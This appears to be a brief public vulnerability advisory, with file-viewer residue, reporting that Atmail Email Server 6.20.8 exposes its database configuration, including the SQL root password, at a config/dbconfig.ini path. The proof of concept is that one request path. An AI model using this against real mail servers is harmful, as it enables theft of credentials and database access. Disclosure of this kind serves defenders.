27 lines
No EOL
878 B
Text
27 lines
No EOL
878 B
Text
######################################################################################
|
|
# Vuln Title: Atmail WebAdmin and webmail Control Panel Remote Access SQL Root password Vulnerability
|
|
#
|
|
# Author: FaryadR (a.k.a Ciph3r)
|
|
# tested on : Atmail Email Server 6.20.8
|
|
# Twitter : https://twitter.com/faryadR
|
|
# Mail : Ciph3r.secure@gmail.com
|
|
# Website : http://0c0c0c0c.com
|
|
# Vendor : http://atmail.com
|
|
# Powered by Atmail 6.20.8 - WebAdmin Control Panel
|
|
#
|
|
######################################################################################
|
|
|
|
[+]Vulnerability :
|
|
|
|
you can Access All Atmail Webadmin Mail server Configuration and SQL Root Password
|
|
|
|
|
|
[+]Poc :
|
|
|
|
Go to webmail and config Directory and type dbconfig.ini for Access all SQL Configuration
|
|
|
|
[+]Demo for Test Vuln :
|
|
|
|
[+]Atmail 6.20.8
|
|
|
|
http://server/config/dbconfig.ini |